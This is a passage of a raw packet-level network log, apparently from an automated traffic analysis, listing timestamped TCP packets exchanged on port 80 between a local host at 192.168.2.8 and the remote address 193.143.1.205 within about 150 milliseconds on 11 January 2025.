Jan 11, 2025 07:37:31.503845930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.503905058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.504875898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.504908085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.504941940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.504957914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.504977942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.505013943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.505023003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.505049944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.505105019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.523056984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.523073912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.532913923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.532968044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533023119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533024073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.533073902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533109903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533121109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.533143044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533178091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533188105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.533211946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533246994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533255100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.533299923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533334970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533345938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.533369064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533404112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533416033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.533438921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533474922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.533483982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.536715031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562391996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562423944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562477112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562486887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562513113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562525988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562546968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562582970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562596083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562633991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562669992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562679052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562705040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562740088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562751055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562773943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562810898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562820911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562910080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562943935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.562952995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.562978029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563011885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563024044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563046932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563081026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563122988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563134909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563172102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563179970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563210964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563241005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563255072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563275099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563324928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563366890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563419104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563452959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563462973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563488007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563534975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563540936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563575029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563608885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563620090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563659906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563755035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563762903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563787937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563829899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563843012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563877106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563911915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563921928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.563946962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563981056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.563996077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564039946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564085960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564095020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564130068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564163923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564172029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564198017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564239979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564249992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564301014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564336061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564351082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564368963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564403057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564412117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564455986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564491034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564502001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564542055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564577103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564588070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564611912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564646959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564657927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564680099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564713955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564749956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564783096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564784050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564795017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564819098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564858913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564871073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564892054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564924955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564935923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.564960003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.564996958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565005064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565092087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565125942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565139055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565177917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565227985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565231085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565263033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565296888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565305948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565331936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565366030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565371990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565418005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565452099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565462112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565485001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565490007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565517902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565548897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565552950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565587997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565594912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.565622091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565655947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.565665960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567455053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567504883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567507982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567560911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567595005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567605972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567636967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567691088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567698956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567734957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567769051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567780018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567804098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567840099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567848921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567874908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567908049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567919970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.567941904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.567975044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.568006039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.572379112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.596465111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596518993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596539974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.596554041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596589088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596604109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.596623898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596658945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596669912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.596694946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596728086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.596736908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.624567032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624609947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624654055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.624664068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624703884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624820948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624865055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624898911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624917030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.624917030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.624933958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.624943972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.624969959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625005007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625015974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.625039101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625073910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625081062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.625107050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625143051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625154018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.625180006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.625222921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654067993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654134035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654186010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654194117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654220104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654253960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654263973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654288054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654323101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654335976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654362917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654417038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654417992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654468060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654501915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654514074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654534101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654567003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654578924 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654604912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654655933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654656887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654690981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654738903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654745102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654778004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654824018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.654838085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654870033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654905081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.654913902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655013084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655060053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655065060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655097008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655139923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655148029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655196905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655231953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655241966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655261040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655292988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655302048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655345917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655390978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655395985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655430079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655473948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655479908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655536890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655572891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655580044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655606985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655639887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655649900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655674934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655708075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655724049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655744076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655776024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655783892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655827999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655862093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655870914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655895948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655925989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.655939102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.655976057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656018972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656029940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656063080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656095982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656125069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656131029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656164885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656173944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656198978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656243086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656255007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656289101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656322956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656332016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656356096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656408072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656418085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656451941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656496048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656501055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656533957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656567097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656577110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656599998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656635046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656646013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656671047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656709909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656716108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656738997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656771898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656783104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656807899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656841040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656874895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656883955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656903982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656919003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.656938076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656974077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.656985044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.657006979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657041073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657052994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.657073975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657108068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657119036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.657143116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657176018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657185078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.657211065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657247066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657299042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657334089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.657484055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.658922911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.658977985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.658982038 CET	49706	80	192.168.2.8	193.143.1.205
